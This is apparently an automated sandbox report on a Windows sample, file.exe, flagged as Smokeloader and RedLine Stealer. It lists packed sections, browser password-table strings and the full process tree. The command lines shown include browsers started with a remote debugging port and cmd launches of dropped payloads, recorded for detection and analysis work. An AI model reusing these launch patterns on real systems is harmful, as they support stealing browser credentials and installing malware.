Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE17BF0	1_2_6CE17BF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE29BA0	1_2_6CE29BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE99BB0	1_2_6CE99BB0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CDC1B80	1_2_6CDC1B80
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEB5B90	1_2_6CEB5B90
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEAFB60	1_2_6CEAFB60
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE1BB20	1_2_6CE1BB20
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_0038E530	32_2_0038E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_003C8860	32_2_003C8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_003C7049	32_2_003C7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_003C78BB	32_2_003C78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_003C2D10	32_2_003C2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_003C31A8	32_2_003C31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_00384DE0	32_2_00384DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_00384B30	32_2_00384B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_003B7F36	32_2_003B7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_003C779B	32_2_003C779B

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CDF9B10 appears 93 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CE2C5E0 appears 35 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF5DAE0 appears 69 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF509D0 appears 299 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CDF3620 appears 93 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF5D930 appears 56 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF09F30 appears 50 times

Source: random[1].exe0.32.dr	Static PE information: Data appended to the last section found
Source: a01b32dfa9.exe.32.dr	Static PE information: Data appended to the last section found

Source: file.exe, 00000001.00000002.1851561930.0000000070142000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000001.00000002.1846346705.000000002385D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe
Source: file.exe, 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000022.00000002.2554694289.0000000004940000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000022.00000002.2554372080.00000000047B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12

Source: file.exe	Static PE information: Section: lddnlomi ZLIB complexity 0.9946428233020013
Source: random[1].exe.1.dr	Static PE information: Section: ZLIB complexity 0.9978552878065395
Source: random[1].exe.1.dr	Static PE information: Section: pmwkhdjz ZLIB complexity 0.9945606518817204
Source: DocumentsBGDBAKFCFH.exe.1.dr	Static PE information: Section: ZLIB complexity 0.9978552878065395
Source: DocumentsBGDBAKFCFH.exe.1.dr	Static PE information: Section: pmwkhdjz ZLIB complexity 0.9945606518817204
Source: skotes.exe.26.dr	Static PE information: Section: ZLIB complexity 0.9978552878065395
Source: skotes.exe.26.dr	Static PE information: Section: pmwkhdjz ZLIB complexity 0.9945606518817204
Source: unik[1].exe.32.dr	Static PE information: Section: ZLIB complexity 0.9948165472399151
Source: unik[1].exe.32.dr	Static PE information: Section: qsywaako ZLIB complexity 0.992423825256975
Source: unik.exe.32.dr	Static PE information: Section: ZLIB complexity 0.9948165472399151
Source: unik.exe.32.dr	Static PE information: Section: qsywaako ZLIB complexity 0.992423825256975
Source: random[1].exe.32.dr	Static PE information: Section: eavnjjhw ZLIB complexity 0.9942945075757575
Source: d4a6d0bce7.exe.32.dr	Static PE information: Section: eavnjjhw ZLIB complexity 0.9942945075757575
Source: random[1].exe0.32.dr	Static PE information: Section: ZLIB complexity 0.998124482615894
Source: random[1].exe0.32.dr	Static PE information: Section: avuktrbe ZLIB complexity 0.9955375360999498
Source: a01b32dfa9.exe.32.dr	Static PE information: Section: ZLIB complexity 0.998124482615894
Source: a01b32dfa9.exe.32.dr	Static PE information: Section: avuktrbe ZLIB complexity 0.9955375360999498

Source: DocumentsBGDBAKFCFH.exe.1.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: skotes.exe.26.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe.1.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@76/304@26/29

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CE30300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

1_2_6CE30300

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\M8IT8TQ0.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Mutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9012:120:WilError_03

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user~1\AppData\Local\Temp\a5f79753-2a34-423d-a6b0-b8a436a4ff2e.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe

File read: C:\Windows\System32\drivers\etc\hosts

Source: file.exe, 00000001.00000002.1850776333.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1842128297.000000001D825000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: file.exe, 00000001.00000002.1850776333.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1842128297.000000001D825000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000001.00000002.1850776333.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1842128297.000000001D825000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000001.00000002.1850776333.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1842128297.000000001D825000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: file.exe, file.exe, 00000001.00000002.1850776333.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1842128297.000000001D825000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000001.00000002.1850776333.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1842128297.000000001D825000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000001.00000002.1850776333.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1842128297.000000001D825000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000001.00000003.1488032019.000000001D729000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1582720547.000000001D71C000.00000004.00000020.00020000.00000000.sdmp, GIJEBKECBAKFBGDGCBGD.1.dr, FHIEBKKFHIEGCAKECGHJ.1.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000001.00000002.1850776333.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1842128297.000000001D825000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: file.exe, 00000001.00000002.1850776333.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1842128297.000000001D825000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: file.exe

ReversingLabs: Detection: 39%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsBGDBAKFCFH.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2296 --field-trial-handle=1964,i,16722737202866624989,9051620058126732953,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2516 --field-trial-handle=2364,i,5434323620471502482,10851786949880937597,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2756 --field-trial-handle=2524,i,15866157190665186616,13992255775072579994,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6616 --field-trial-handle=2524,i,15866157190665186616,13992255775072579994,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6924 --field-trial-handle=2524,i,15866157190665186616,13992255775072579994,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBGDBAKFCFH.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsBGDBAKFCFH.exe "C:\Users\user\DocumentsBGDBAKFCFH.exe"
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6876 --field-trial-handle=2524,i,15866157190665186616,13992255775072579994,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe "C:\Users\user~1\AppData\Local\Temp\1009625001\unik.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe "C:\Users\user~1\AppData\Local\Temp\1009635001\d4a6d0bce7.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBGDBAKFCFH.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2296 --field-trial-handle=1964,i,16722737202866624989,9051620058126732953,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2756 --field-trial-handle=2524,i,15866157190665186616,13992255775072579994,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2516 --field-trial-handle=2364,i,5434323620471502482,10851786949880937597,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2756 --field-trial-handle=2524,i,15866157190665186616,13992255775072579994,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6616 --field-trial-handle=2524,i,15866157190665186616,13992255775072579994,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6924 --field-trial-handle=2524,i,15866157190665186616,13992255775072579994,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6876 --field-trial-handle=2524,i,15866157190665186616,13992255775072579994,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6876 --field-trial-handle=2524,i,15866157190665186616,13992255775072579994,262144 /prefetch:8
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsBGDBAKFCFH.exe "C:\Users\user\DocumentsBGDBAKFCFH.exe"
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe "C:\Users\user~1\AppData\Local\Temp\1009625001\unik.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe "C:\Users\user~1\AppData\Local\Temp\1009635001\d4a6d0bce7.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
